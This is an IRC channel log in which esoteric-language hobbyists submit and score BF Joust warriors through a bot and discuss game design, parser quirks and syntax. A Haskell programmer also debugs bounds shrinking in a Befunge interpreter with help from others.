19:37:27 <elliott> ais523_decoytuner.bfjoust vs elliott_SHEER_UNADULTERED_BEAUTY.bfjoust:
19:37:27 <elliott> >>>>>>>>>>>>>>>>>>><< >>>>>>>>>>>>>>>>>>><< >>>>>>>>>>>>>>>>>>><< >>>>>>>>>>>>>>>>>>><<
19:37:27 <elliott> elliott_SHEER_UNADULTERED_BEAUTY.bfjoust wins
19:37:35 <elliott> ais523_tripstridewire.bfjoust vs elliott_SHEER_UNADULTERED_BEAUTY.bfjoust:
19:37:35 <elliott> <>>>>>>>>>>>>>>>>>><< <>>>>>>>>>>>>>>>>>><< <>>>>>>>>>>>>>>>>>><< <>>>>>>>>>>>>>>>>>><<
19:37:35 <elliott> elliott_SHEER_UNADULTERED_BEAUTY.bfjoust wins
19:37:40 <EgoBot> Score for elliott_SHEER_UNADULTERED_BEAUTY: 7.1
19:37:47 <elliott> X-D
19:38:37 <elliott> Gregor: quintopia: Challenge: Write a pair of almost-identical warriors, master and slave, that can detect each other, such that when the slave realises it's competing against the master, it suicides; when this is not the case, any strategy can be used. False suicides are of course inevitable.
19:38:53 <Gregor> !bfjoust vomitorium_deluxe (>>>.[->>-.+[->.-.>>[>.>--+++>+>-.>+-.>.>.+++-.-[[->>.-+++>>>[>-+[.[--[-[+>+->.-.+>-+[.[-+-.+-+--..-]-+]++]]>]-..>+]]>->+.-+.-.]]>-->]>].>+.].>--.+->.-)*1000
19:38:57 <elliott> A similar thing was done in the iterated-prisoner's-dilemma tournament that led to tit-for-tat
19:39:00 <elliott> Gregor: Is that... balanced?
19:39:04 <EgoBot> Score for Gregor_vomitorium_deluxe: 0.0
19:39:05 <Gregor> Yes :P
19:39:07 <elliott> X-D
19:39:09 <Gregor> YESSSSSS
19:39:13 <elliott> FSVO balanced
19:39:18 <Phantom_Hoover> elliott, have the master send a "BOW BEFORE ME" signal in its startup, then continue as usual.
19:39:37 <elliott> They should try and meet in the middle of the tape.
19:40:19 <quintopia> i remember that. they won by submitting a whole bunch of players that would all lose to one of them on purpose. For this to work, the losing program would have to *itself* be a really good program,
19:40:42 <quintopia> other than that, it doesn't sound too difficult. A very specific and uncommon decoy trail could be the single easily
19:40:47 <quintopia> *signal
19:42:39 <Gregor> !bfjoust vomitorium_grande_with_beans (+[.>-+-[++.>[--[+.>[.>]]+]].>[----]-[.>+]]+.>[.>-]-+-[-.>[.>--]]].>.>+[.>+-].>-.>+-]+]-.>.>+++][-[-.>-+]+].>[-.>[.>-]++[.>.>-[.>+.>--]][[.>--]]-][.>+]+++-[]+[.>[.>][[.>-[.>-[-]++)*1000
19:42:50 <EgoBot> Score for Gregor_vomitorium_grande_with_beans: 0.0
19:42:54 <Gregor> :(
19:43:31 <elliott> !bfjoust vomit_with_liqueur http://sprunge.us/JffR
19:43:43 <EgoBot> Score for elliott_vomit_with_liqueur: 0.0
19:43:47 <elliott> :D
19:43:50 <elliott> !bfjoust
19:43:51 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:44:00 <elliott> 24 0.00 -45.48 elliott_vomit_with_liqueur.bfjoust
19:44:03 <elliott> Impressive.
19:45:01 <elliott> !bfjoust vomitA http://sprunge.us/dHfE
19:45:03 <elliott> !bfjoust vomitB http://sprunge.us/ZYNS
19:45:10 <elliott> !bfjoust vomitC http://sprunge.us/GeTd
19:45:14 <EgoBot> Score for elliott_vomitA: 0.0
19:45:22 <EgoBot> Score for elliott_vomitB: 0.0
19:45:25 <elliott> COME ON C
19:45:35 <EgoBot> Score for elliott_vomitC: 0.0
19:45:42 <elliott> DARN
19:46:15 <Phantom_Hoover> So what's the problem with >[>][-] as a BFJoust contender?
19:46:23 <Phantom_Hoover> Oh, you can trip it easily.
19:46:35 <quintopia> it has a [>]
19:46:43 <quintopia> that is always a problem
19:46:56 <Gregor> All that does is zero the cell immediately next to your flag :P
19:47:00 <elliott> What Gregor said :P
19:47:06 * Phantom_Hoover facepalms.
19:47:15 <Gregor> Inverse-BFJoust would actually be kinda interesting.
19:47:16 <quintopia> which is already zero
19:47:19 <elliott> !bfjoust >[>(+)*128]
19:47:19 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:47:21 <Deewiant> !bfjoust trivial [>-][-]
19:47:27 <elliott> !bfjoust fuck >[>(+)*128]
19:47:31 <Phantom_Hoover> >[>+][-]?
19:47:35 <elliott> Prediction: WORST EVER?
19:47:38 <Phantom_Hoover> Wait, of course not.
19:47:43 <elliott> Phantom_Hoover: Trip.
19:47:46 <EgoBot> Score for Deewiant_trivial: 0.0
19:47:49 <elliott> That's like "My First BF Joust Program".
19:47:54 <elliott> Deewiant: Grats :P
19:48:07 <Deewiant> It tied against defend14
19:48:07 -!- nddrylliog has joined.
19:48:09 <Gregor> !bfjoust my_first_bfjoust_program >([-]>)*30
19:48:11 <quintopia> Gregor: so we set everything to 128, and player responsible for setting the only remaining nonzero cell to zero wins?
19:48:22 <quintopia> (ties would be frequent)
19:48:24 <EgoBot> Score for elliott_fuck: 7.2
19:48:28 <elliott> 7.2
19:48:31 <elliott> 7. motherfuckin' 2
19:48:34 <elliott> FUCK YEAH
19:48:41 <EgoBot> Score for Gregor_my_first_bfjoust_program: 9.2
19:48:44 <Gregor> quintopia: ... no, but something along that lines could be brilliant :P
19:48:54 <Gregor> quintopia: I was thinking the flags are zero, and you have to make them nonzero.
19:49:04 <Gregor> Everything else is nonzero
19:49:09 <Gregor> (128)
19:49:16 <elliott> !bfjoust steal (>)*9-<-<-<((-)*10<)*3((-)*128<)*2
19:49:25 <Gregor> So planting decoys is ... more expensive than just finding the other flag lol
19:49:26 <quintopia> Gregor: that's not inverse BF Joust. EXACTLY inverse BF Joust would involve setting the flags to 128
19:49:33 <elliott> Gregor: *and you have to make them 128
19:49:37 <elliott> And then it's _exactly_ inverse.
19:49:42 <elliott> And therefore almost the same game.
19:49:45 <elliott> Except that [>] now works.
19:49:46 <Gregor> But then that's impossible...
19:49:48 <elliott> And so it's rather trivial.
19:49:49 <EgoBot> Score for elliott_steal: 1.5
19:49:52 <elliott> Gregor: Not if you have +
19:50:18 <Gregor> How about looping BFJoust instead X-P
19:50:19 <Phantom_Hoover> INSANE THING OF THE DAY:
19:50:25 <Gregor> Just have the tape connect in both directions.
19:50:31 <quintopia> HA
19:50:34 <Gregor> (And swap those polarities too)
19:50:46 <quintopia> <(-)*128 is the only valid prgoram
19:50:54 <Phantom_Hoover> The deputy head of my old school appears to have made a fake Facebook account to spy on students and crush any dissent.
19:51:01 <Gregor> quintopia: I didn't say that you take the tape exactly as is and connect it X_X
19:51:06 <quintopia> yeah
19:51:14 <Gregor> quintopia: If it's ten cells right, make it ten cells left too.
19:51:20 <quintopia> i figured that's what you meant
19:51:26 <quintopia> but the other idea is more hilarious
19:51:27 <Gregor> That way you can't step over the edge, but if you get lost you can't tell your flag from theirs >: )
19:51:33 <elliott> Gregor: I know, how about BF Joust where every instruction is randomly placed with another instruction and occasionally you teleport to a random tape location
19:51:42 <quintopia> wat
19:51:48 <elliott> I AM AN INVENTOR JUST LIKE YOU
19:51:56 <quintopia> gregor's idea could be fun
19:52:02 <quintopia> i'd play it
19:52:07 <Gregor> How about ChutesAndLaddersJoust
19:52:12 <quintopia> Gregor: BEFUNGE JOUST
19:52:33 <Gregor> 2LJoust :P
19:52:49 <Gregor> MIPSJoust!
19:53:10 <elliott> oerjan: do you remember how that Haskell game worked yet?
19:53:15 <elliott> not the one where you had to recognise your own function
19:53:17 <elliott> the one with lists.
19:53:31 <quintopia> but seriously, what if we were playing in a 2D space using a language that has little more power than BF? for example, it just adds ^ and v to go up and down?
19:54:08 <Gregor> quintopia: I think you'd just get horribly lost.
19:54:17 <elliott> Just do it in Funge-98 at that point.
19:54:27 <quintopia> funge-98 is too powerful
19:54:48 <quintopia> esp since you can clear the flag in one instruction
19:54:57 <elliott> Yeah yeah :P
19:55:00 <elliott> A subset of Funge-32.
19:55:02 <elliott> *93.
19:55:07 <elliott> I was working on BeYorFunge at some point.
19:55:47 <quintopia> i like the name
20:03:54 <elliott> Deewiant: I really have a beef with the way you treat G :-p
20:03:56 <elliott> *:-P
20:04:28 <elliott> Deewiant: I guess it's just that the spec is so vague because it says "like fgets" when fgets takes a bloody length and pointer as parameters.
20:04:48 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
20:07:11 -!- hagb4rd has quit (Ping timeout: 240 seconds).
20:10:05 <quintopia> alright. i've got a program that beats decoybooster2 and decoytuner, but it no longer beats wiggle3...if i could do that, it'd be p high ranked
20:10:42 <Gregor> YUCANDOIT
20:11:05 <quintopia> kk
20:11:53 <Gregor> But don't beat Gregor_crapping_turtle kthx
20:11:58 <elliott> quintopia: Just do a conditional :P
20:12:37 <quintopia> elliott: if (fighting_wiggle3) { beat_it }
20:12:43 <elliott> quintopia: Precisely
20:12:52 <elliott> quintopia: You might also want to beat defend13 :P
20:13:14 <Gregor> !bfjoust furry_furry_bondage_girls -(>+>-)*4>([(-)*9[+]]+>]+>[[(-)*9[+]]->]->)*11
20:13:15 <quintopia> elliott: i already was beating defend13
20:13:29 <quintopia> wiggle3 was the only big one
20:13:33 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 2.5
20:13:39 <Gregor> ... wow
20:13:46 <elliott> Furry furry bondage girls: NOT SO GOOD AT BRAINFUCK JOUST?
20:13:54 <Gregor> Did I fuck something up, it shouldn't have been THAT bad X-D
20:14:01 <Gregor> It's just crapping_turtle with offset clears!
20:14:40 * quintopia shakes a fist at wiggle3
20:14:46 <Gregor> !bfjoust furry_furry_bondage_girls -(>+>-)*4>([(-)*9[+]>]+>]+>[[(-)*9[+]>]->]->)*11
20:15:02 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 12.8
20:15:09 <Gregor> DAMN YOU FURRY FURRY BONDAGE GIRLS
20:15:17 <elliott> YOU'RE TOO FURRY, AND TOO BONDAGE
20:15:20 <elliott> AND TOO...GIRL
20:15:43 <quintopia> i'm really not too sure what to do about wiggle3
20:15:52 <Gregor> wiggle3 cannot be defeated.
20:15:56 <Gregor> wiggle3 shall conquer all
20:15:57 <quintopia> Gregor: BREAKDOWNS IN SEPARATE FILES KTHX
20:16:13 <Deewiant> elliott: In general it's based on Rc/Funge-98's original behaviour so it's "as intended"
20:16:23 <Gregor> quintopia: SHUT YOUR WHORE MOUTH WHEN BILLY MAYS IS TALKING
20:17:06 <quintopia> lul, it's beating me in every polarity
20:19:03 <quintopia> wooo! back to 3rd place!
20:19:03 <oerjan> <elliott> oerjan: do you remember how that Haskell game worked yet? <-- wasn't it something based on feeding each function's result [Bool] into the other one lazily (i.e. deadlock was possible) and they had to try and recognize whether it was themselves without deadlocking
20:19:19 <elliott> oerjan: I think so, yes
20:19:39 <elliott> oerjan: But then how did they say that they recognised themselves?
20:20:00 <quintopia> Gregor: sorry i beat crapping_turtle D;
20:20:10 <Gregor> NOOOOOOOOOOOOOOOOOOOSE
20:20:26 <Gregor> At least I'm still >40
20:20:47 <quintopia> aka not bottom 5?
20:21:03 <quintopia> you're actually 15
20:21:22 <Gregor> Out of 48 that's really not too bad :P
20:22:27 <Gregor> Oh, I see
20:22:28 <elliott> Deewiant: You normalise newlines to \n in CCBI's G right?
20:22:31 <Gregor> I meant SCORE >40
20:22:33 <elliott> Or do you not?
20:22:36 <oerjan> elliott: i don't recall. hm one might perhaps simply do that by ending the output list...
20:22:38 <Deewiant> Probably not?
20:22:47 <elliott> Deewiant: You certainly handle \n and \r IIRC.
20:22:50 <elliott> But probably just to find the end.
20:22:55 <Deewiant> Probably.
20:23:22 <oerjan> if you end your output list, it means you think you're against yourself.
20:23:46 <oerjan> hm but how to signal the opposite?
20:24:10 <oerjan> is there a way to deadlock the other function without deadlocking yourself...
20:24:44 <elliott> *** [Reflecting on IO exception: mycotemp.tmp: openBinaryFile: resource busy (file is locked)]
20:24:46 <elliott> Not again :-P
20:25:18 <oerjan> or maybe the last list element could say. and you had to give an answer before reading the other's last list element.
20:25:29 <elliott> Deewiant: BTW, my Mycology load takes like .1-.2 seconds now after OPTOMIZATION.
20:25:38 <elliott> Wow, I pass all the FILE tests now.
20:25:46 <elliott> Woot!
20:25:56 <elliott> OK, so my G is a hideously slow character-by-character loop, but who cares.
20:25:59 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
20:26:53 <quintopia> I DO NOT UNDERSTAND WIGGLE3 IT IS SO COMPLICATED BLAH
20:27:01 <elliott> Now I'm going to do the population count stuff.
20:27:05 <elliott> quintopia: just try and tie with it
20:27:11 <elliott> quintopia: by detecting it, and doing the exact same things it does
20:27:28 <quintopia> if i could understand it, i could detect it
20:27:39 <quintopia> well, i suppose i could look for its decoys
20:27:45 <Deewiant> Population count stuff?
20:28:56 <quintopia> elliott: give me a piece of BF code that does if(a[i]==128) in one cycle plox
20:28:57 <elliott> Deewiant: What cfunge does, i.e. keep track of the population of each line and column so that shrinking the bounds doesn't require iterating through the entirety of FungeSpace.
20:29:06 <elliott> quintopia: Mu :P
20:29:17 <oerjan> hm...
20:31:16 <elliott> Deewiant: I guess it has inefficiencies, but it's easier to do than AABB :P
20:31:23 <oerjan> elliott: something like play p1 p2 = (last l1, last l2) where l1 = p1 (init l2 ++ undefined); l2 = p2 (init l1 ++ undefined)
20:31:30 <elliott> Deewiant: And will take something like 0 seconds rather than the 4 seconds it takes me now to shrink bounds
20:31:46 <oerjan> you'd need some IO magic to check for deadlock/ending trap
20:31:52 <elliott> oerjan: I swear the lists were infinite
20:32:03 <elliott> I drafted up a thing and you even made a warrior
20:32:17 <oerjan> elliott: well that may be, i'm just running with this current idea
20:32:27 <elliott> right
20:34:29 * oerjan downloaded a bfjoust hill from a few hours ago and notes that only 6 of the programs make use of unmatched [] in ()*
20:35:10 <Deewiant> The top 6?-)
20:35:11 <oerjan> which is technically illegal of course
20:35:15 <oerjan> heh
20:35:21 <oerjan> ais523_defend14.bfjoust impomatic_sexyghoul.bfjoust jix_wiggle3.bfjoust
20:35:21 <oerjan> ais523_defend9.bfjoust impomatic_spookygoth.bfjoust myndzi_careless.bfjoust
20:36:00 <Deewiant> Well, apart from defend9 they're all top 10
20:36:59 <impomatic> Illegal? Now what am I accused of! ;-(
20:38:07 <quintopia> wooo. wireless now has the most points!
20:39:15 <quintopia> i don't see why that should be illegal as long as you make them match in the end
20:40:14 <oerjan> quintopia: the thing is that it makes it harder to implement efficiently, should we decide to make a more efficient implementation
20:40:23 <oerjan> (non-expanding)
20:40:38 <elliott> quintopia: submit it!
20:40:43 <elliott> !bfjoust
20:40:43 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
20:40:49 <elliott> oh
20:40:53 <elliott> you've been submitting it in private message?
20:40:54 <elliott> that's lame
20:40:56 <elliott> don't do that
20:41:00 <elliott> you're not allowed to do that any more
20:41:01 <elliott> Gregor: disable that
20:41:23 <quintopia> who cares about how hard it is for the referee implementer? the goal is to be as easy for the players as possible, and the ()* constructs are easier to read than the ()% ones
20:41:58 <oerjan> quintopia: not really, the ()% tell you where to find matching []'s
20:42:09 <elliott> ()% are much more efficient if coded properly
20:42:17 <elliott> but egojoust isn't
20:42:29 <quintopia> oerjan: but all them {} get in the way.
20:42:30 <oerjan> of course (x{y}z)%n _is_ equivalent to (x)*ny(z)*n
20:42:34 -!- Phantom_Hoover has joined.
20:42:57 <quintopia> oerjan: i should say easier to write. it's easier to just write the program and come back and compress it with ()* around long runs
20:42:58 <oerjan> impomatic: the wiki spec says [] have to match inside () and {}
20:43:22 <oerjan> quintopia: oh is that what you do
20:43:43 <quintopia> for short runs, yes
20:43:53 <impomatic> Ought to change the wiki I suppose...
20:44:12 <quintopia> i can't bear to see the program longer than it should be. that long string of >>>>>>> in taller_towers pains me.
20:45:20 <elliott> impomatic: no
20:45:31 <elliott> we don't want to encourage (x)*ny(z)*n with unmatched [] in x and z
20:45:37 <elliott> because an efficient implementation wouldn't be able to process that
20:45:58 <Deewiant> If you don't want to encourage it, don't accept it
20:45:59 <oerjan> elliott: now i actually _do_ have a vague idea of how to do that somewhat efficiently
20:46:11 <elliott> well you could translate it to (x{y}z)%n i suppose
20:46:22 <elliott> Deewiant: that they aren't rejected is a bug in egojoust
20:46:22 -!- cheater00 has quit (Ping timeout: 240 seconds).
20:46:23 <oerjan> no, more general than that
20:46:36 <elliott> well
20:46:43 <elliott> ([)*4]](])*2
20:46:44 <elliott> :D
20:46:51 <elliott> ^ most horrific abomination ever
20:46:56 <oerjan> heh
20:47:00 <Deewiant> Don't ais's programs do stuff like that
20:47:04 <Phantom_Hoover> !lambda
20:47:13 <EgoBot> Traceback (most recent call last):
20:47:15 <Deewiant> Of course you can just peel one until the counts match
20:47:24 <oerjan> Deewiant: two of his are on the list of 6 above
20:47:26 -!- cheater00 has joined.
20:47:34 <oerjan> so yes
20:47:37 <Phantom_Hoover> What did !lambda do before it broke?
20:47:39 <Deewiant> oerjan: Yes, but mismatched counts in particular
20:48:13 <Deewiant> oerjan: I.e. (...[...)*m...(...]...)*n where m ≠ n
20:48:41 <oerjan> Deewiant: hm i haven't yet checked those programs for whether they do that
20:48:49 <elliott> !lambda ^xx
20:48:49 <EgoBot> Tokenizer error: Tokenizer can't comprehend '^'
20:48:49 <quintopia> impomatic: chainmail is the losingest program i've ever seen to have such a high score!
20:48:52 <elliott> !lambda $xx
20:48:53 <EgoBot> Tokenizer error: Tokenizer can't comprehend '$'
20:48:54 <elliott> !lambda \x. x
20:48:54 <EgoBot> Traceback (most recent call last):
20:48:56 <oerjan> i stripped off the counts when checking
20:49:35 <elliott> thing that isn't very efficient with Data.Maps:
20:49:43 <elliott> "give me the greatest key with a value >0"
20:49:48 <elliott> "give me the smallest key with a value >0"
20:49:55 <oerjan> <elliott> Gregor: disable that <-- now that's a bit harsh, might want to announce the result to the channel anyhow though
20:50:04 <elliott> oerjan: it's bad, i like to see people working :D
20:50:35 <elliott> ugh this shrinking code is going to be hideous
20:50:43 <elliott> Deewiant what's your amazing fungespace bound thing again
20:50:44 <Gregor> Hmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
20:51:10 <Deewiant> elliott: You can do that in log(n) time with Data.Map
20:51:34 <Deewiant> elliott: (minView &&& maxView) $ split 0 map
20:51:41 <elliott> Deewiant: You can? My current solution is "find minimum key O(log n), iterate through keys from minimum key downwards until... O(bad)"
20:51:43 <Deewiant> Er, s/&&&/***/
20:51:59 <elliott> Oh, that's clever.
20:52:01 <oerjan> elliott: fingertrees are very good for precisely that kind of query i think
20:52:03 <elliott> Deewiant: Wait, does that give you *both* of them?
20:52:11 <Deewiant> elliott: Er, you wanted >0, sorry
20:52:12 <elliott> oerjan: O(log n) is good in my book... I'll try finger trees later
20:52:13 <Deewiant> elliott: So
20:52:24 <elliott> split :: Ord k => k -> Map k a -> (Map k a, Map k a)Source
20:52:24 <elliott> O(log n). The expression (split k map) is a pair (map1,map2) where the keys in map1 are smaller than k and the keys in map2 larger than k. Any key equal to k is found in neither map1 nor map2.
20:52:26 <oerjan> elliott: well they're also O(log n) i think
20:52:28 <elliott> Deewiant: Isn't split the right thing there then
20:52:29 <Deewiant> elliott: (minView &&& maxView) . snd $ split 0 map
20:52:59 <elliott> Deewiant: Neat. So that gives (minKeyValAbove0,maxKeyValAbove0) right?
20:53:05 <Deewiant> Yep
20:53:08 <Deewiant> O(log n)
20:53:27 <elliott> Deewiant: Nice. Now I just have to fight with my hideous control structure.
20:53:49 <Gregor> http://www.youtube.com/watch?v=6RpoMyMtrz0 OK, this is too good :P
20:55:10 -!- augur has joined.
20:55:14 <elliott> Deewiant: Hmm, the problem is that I can't just do
20:55:17 <elliott> if x == minX then
20:55:17 <elliott> fs{ minX = minView . snd $ split 0 (colPopulation fs') }
20:55:17 <elliott> else if x == maxX then
20:55:17 <elliott> fs{ maxX = maxView . snd $ split 0 (colPopulation fs') }
20:55:17 <elliott> [...]
20:55:27 <elliott> because I also have to update the min/maxY, don't I?
20:55:31 <elliott> Hmm, or do I
20:55:32 <elliott> No, I don't
20:56:00 <Deewiant> If the (x,y) hits an outlying point then you do
20:56:34 <elliott> Deewiant: Right. So I just need more clauses:
20:56:38 <elliott> if x == minX and y == minY then ...
20:56:52 <elliott> (I can make it elegant later.)
20:57:06 <elliott> I also need "x == minX && y == maxY", woo, explosion of conditions
21:00:27 <Deewiant> Can't you handle x and y separately
21:01:24 <elliott> Deewiant: I could, but that would require indenting and things
21:01:42 <Deewiant> Up to you
21:02:34 <impomatic> elliott: so you're saying I should recode ([+)*6[(-)*7([-)*5[(-)*122[-(])*14 as ([+{[(-)*7([-{[(-)*122[-]]}])%5]}])%6
21:02:50 <elliott> impomatic: Pretty much, yep :P
21:02:55 <elliott> It doesn't matter w/ egojoust.
21:03:01 <elliott> But don't get too into the habit of doing it.
21:03:08 <elliott> Since the latter can executed much more efficiently in principle.
21:03:19 <impomatic> That's longer and trickier to read! :-(
21:05:40 <elliott> :-P
21:07:15 <impomatic> Besides if I reimplement everything with ({}) I'll kill Ego again :-P
21:07:50 <elliott> Well yes.
21:08:02 <elliott> Deewiant: Looks like O(log n) just ain't fast enough, it's going slower on the bounds check.
21:08:04 <elliott> Much, much slower.
21:08:26 <Deewiant> elliott: You might want to force the computation
21:08:42 <elliott> Deewiant: if x == minX && y == minY then
21:08:42 <elliott> newMinX `seq` newMinY `seq` fs'{ minCoords = (newMinX,newMinY) }
21:08:42 <elliott>
21:08:43 <Deewiant> Data.Map is quite lazy
21:08:44 <elliott> Looks forced to me
21:08:55 <Deewiant> Fair enough
21:08:58 <elliott> Hmm, this seems suspiciously completely hung
21:10:37 -!- nddrylliog has quit (Ping timeout: 276 seconds).
21:10:40 * elliott compiles profiling build
21:12:05 <elliott> http://www.thinkgeek.com/stuff/41/snuznluz.shtml Best idea ever?
21:13:22 <elliott> Deewiant: Tentative conclusion: It's calculating the new bounds just fine, except they're totally wrong and the interpreter goes into a freaky wrapping loop.
21:15:39 <elliott> Yep, it laggs up figuring out the next position.
21:15:59 <oerjan> so why does ais523_defend9 contain *-160 twice...
21:16:07 <oerjan> and what does it actually _mean_...
21:16:27 <elliott> :D
21:17:35 <Deewiant> (x)*a(x)*-b = (x)*(a-b)
21:17:43 <elliott> Deewiant: X-D
21:20:13 <oerjan> 49 times = atoi(prog.buf + end + 2);
21:20:14 <oerjan> 50 if (times < 0 || times > 10000) times = 10000;
21:20:26 <oerjan> look like the relevant lines of egojoust.c
21:20:40 <elliott> heh nice
21:20:45 <elliott> !bfjoust mogul (-)*-1
21:21:24 <EgoBot> Score for elliott_mogul: 15.0
21:22:34 <oerjan> elliott: and there are two *-160, one containing exactly one [ and one containing exactly one ], so the match even if it's interpreted as 10000 :D
21:23:11 <elliott> !bfjoust peacebringer >([)*-1-(])*-1<(+--)*-1
21:23:16 <oerjan> *they
21:23:50 <EgoBot> Score for elliott_peacebringer: 9.8
21:24:01 * elliott copies BBC's digital tapes before they throw them out
21:24:32 <elliott> heh 9.8
21:25:14 <elliott> !bfjoust detrimental_dear_watson ([+)*-1>([-]])*-1
21:25:43 <EgoBot> Score for elliott_detrimental_dear_watson: 13.7
21:26:10 <elliott> 13.7, what
21:26:14 <elliott> !bfjoust
21:26:15 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
21:26:48 <elliott> myndzi: what
21:26:53 <elliott> did you just submit a program behind my back
21:26:59 <elliott> i was looking for the breakdown
21:27:08 <elliott> oerjan: say that you'll ban everyone who submits programs via /msg thx
21:27:14 <oerjan> nah
21:27:21 <elliott> oerjan: *yah
21:27:31 <oerjan> A COMMON TYPO
21:28:38 <elliott> ((-10,-10),(180,909),(17,201))
21:28:39 <elliott> ((173,-10),(180,909),
21:28:41 <elliott> Well that's not right.
21:28:49 <elliott> Deewiant: Does Mycology start at x=173? :-P
21:28:59 <Deewiant> Not quite, no.
21:29:09 <Deewiant> Nor s/start/end/ nor s/x/y/
21:29:35 <elliott> fs' = FungeSpace m' minXY maxXY (modm (subtract 1) y popRow) (modm (subtract 1) x popCol)
21:29:35 <elliott> newMinX = fst . fromJust . Map.minView . snd $ Map.split 0 (colPopulation fs')
21:29:35 <elliott> newMaxX = fst . fromJust . Map.maxView . snd $ Map.split 0 (colPopulation fs')
21:29:36 <elliott> newMinY = fst . fromJust . Map.minView . snd $ Map.split 0 (rowPopulation fs')
21:29:38 <elliott> newMaxY = fst . fromJust . Map.maxView . snd $ Map.split 0 (rowPopulation fs')
21:29:40 <elliott> Perhaps gremlins are to blame
21:29:53 <Deewiant> Don't you have row/col mixed
21:30:06 <Deewiant> Well, depends on how the names map to the semantics
21:30:42 <elliott> Deewiant: colPopulation is population-indexed-by-column
21:30:47 <elliott> Updated with
21:30:49 <elliott> FungeSpace (Map.insert k v m) (min x minX, min y minY) (max x maxX, max y maxY)
21:30:50 <elliott> (modm (+1) y popRow) (modm (+1) x popCol)
21:30:58 <elliott> modm f = Map.alter (\x -> Just $ f (maybe 0 id x))
21:31:32 <elliott> Maybe I do have them mixed up but it doesn't look like it to me
21:31:39 <elliott> Hmm, possibly I do
21:31:43 <elliott> No, I don't think so
21:32:05 -!- Mathnerd314 has joined.
21:32:09 <Deewiant> fromMaybe = flip maybe id
21:32:42 <elliott> Deewiant: Thank you, this isn't just a random piece of ugly code that I'm getting to work before cleaning up
21:32:48 <elliott> Not at all
21:32:50 <elliott> :p
21:32:52 -!- Tritonio has joined.
21:33:21 <Deewiant> I just always get confused with 'maybe x id' since I tend to read it as fromMaybe first
21:35:43 <elliott> Yeah I'm pretty sure I don't have a mixup there, so I suspect that I'm just doin it rong.
21:37:53 <elliott> lol defend13 is on top again
21:39:45 <elliott> Hmm, this is puzzling
21:41:02 <elliott> I blame Mycology
21:43:04 -!- MigoMipo has quit (Read error: Connection reset by peer).
21:43:50 <elliott> Sweet, now I can get it to break after "That = is implemented"
21:43:56 <elliott> ...wait what?
21:44:53 <elliott> oh, wait
21:45:00 <elliott> maybe i forgot some seqqing
21:45:25 <elliott> Nope.
21:45:29 <Deewiant> {-# LANGUAGE BangPatterns #-}
21:45:38 <elliott> Deewiant: Yes yes
21:45:48 <elliott> That = is implemented
21:45:48 <elliott> That buffered I/O is being used
21:45:52 <elliott> Do anything to fungespace in-between those two?
21:46:05 <Deewiant> How should I remember?
21:47:05 <elliott> Deewiant: If I ever wrote a Befunge test suite I'd have a hard time forgetting the... experience.
21:47:30 <Deewiant> If you write over 100K of Befunge you might forget the details
21:47:58 <elliott> Passing out does that to people.
21:48:20 <Phantom_Hoover> INCIDENTALLY: I am being forced to leave civilisation for 10 days, starting on Saturday.
21:48:27 <Phantom_Hoover> I WILL NOT BE DEAD
21:49:21 <elliott> Yes you will.
21:49:23 <elliott> Now shut up and fix my code.
21:49:48 -!- Tritonio has quit (Quit: Leaving).
21:54:23 <elliott> Phantom_Hoover: O Oracle, why is my code broken seriously.
21:54:43 <Phantom_Hoover> Because you have no faith.
21:56:22 <elliott> *Shiro.Interpreter> Map.split 0 $ Map.fromList [(1,5),(2,5),(3,5),(999,0)]
21:56:23 <elliott> (fromList [],fromList [(1,5),(2,5),(3,5),(999,0)])
21:56:25 <elliott> Deewiant: Hmmmmmmmmm.
21:56:36 <Deewiant> Yes, I'm aware of this
21:56:41 <Deewiant> You said >0
21:56:42 -!- nescience has joined.
21:56:43 <elliott> Deewiant: ...split is based on *keys*.
21:56:45 <elliott> Deewiant: ...split is based on *keys*.
21:56:50 <elliott> "O(log n). The expression (split k map) is a pair (map1,map2) where the keys in map1 are smaller than k and the keys in map2 larger than k. Any key equal to k is found in neither map1 nor map2."
21:56:52 <Deewiant> Of course it is
21:56:56 <Deewiant> How else could it be O(log n)
21:57:01 <nescience> damn you guys
21:57:03 <elliott> Deewiant: Which is why I was sceptical >_<
21:57:11 <elliott> Deewiant: I did say "minimum key _whose value_ is less than 0"
21:57:16 <elliott> *greater than 0
21:57:19 <nescience> I can't get any work done because my brain is full of brainfuck and tetris
21:57:21 <nescience> lol
21:57:27 <Deewiant> Oh, so you did
21:57:34 <elliott> Deewiant: HURF DURF
21:57:39 <Deewiant> Well, look into Data.Bimap
21:57:53 -!- myndzi\ has joined.
21:57:57 <elliott> OK, new plan: Make modm remove the key entirely if its value is 0; then I just need the minimum/maximum key.
21:57:59 <Deewiant> elliott: Maybe you'll at some point learn to test or read docs before wondering why stuff doesn't work? :-P
21:58:04 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
21:58:10 <elliott> Deewiant: Stop speaking with such an authoritative voice then :P
21:58:52 <Deewiant> elliott: Data.Bimap
21:59:23 <nescience> !bfjoust trapwire [[]-+---[]+-+++]
21:59:34 <elliott> Deewiant: Yes yes yes, I'll use it later.
21:59:58 <EgoBot> Score for nescience_trapwire: 7.1
22:00:13 <nescience> probably doesn't do what I think
22:00:21 <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 )
22:00:22 <elliott> BAD: after spacing top-left corner, y should report greatest point as ( 182 910 ), not ( 190 919 )
22:00:22 <elliott> BAD: after spacing right edge, least point reported by y should remain ( -2 -1 )
22:00:22 <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 189 919 )
22:00:22 <elliott> BAD: after spacing bottom edge, y should report greatest point as ( 181 909 ), not ( 189 918 )
22:00:31 <elliott> Shrinking: TOTALLY BROKEN???
22:00:42 <elliott> That "not ( -10 -10 )" thing worries me a bit ...
